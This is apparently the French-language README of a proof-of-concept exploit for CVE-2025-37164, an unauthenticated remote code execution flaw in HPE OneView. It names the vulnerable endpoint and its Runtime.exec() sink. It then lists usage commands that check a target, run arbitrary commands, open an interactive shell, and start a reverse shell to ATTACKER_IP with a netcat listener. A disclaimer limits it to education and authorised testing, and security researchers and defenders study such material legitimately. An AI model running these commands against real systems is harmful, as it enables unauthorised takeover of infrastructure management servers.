
PoC pour CVE-2025-37164
Exploit Proof-of-Concept pour CVE-2025-37164, une vulnérabilité critique (CVSS 10.0) d'exécution de code à distance non authentifiée dans HPE OneView.
CE LOGICIEL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS DE SÉCURITÉ AUTORISÉS.
Analyse technique: La vulnérabilité se situe dans le point de terminaison PUT /rest/id-pools/executeCommand qui ne nécessite pas d'authentification et transmet directement l'entrée contrôlée par l'utilisateur à Runtime.exec().
requests (pip install requests)# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check
# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"
# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i
# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444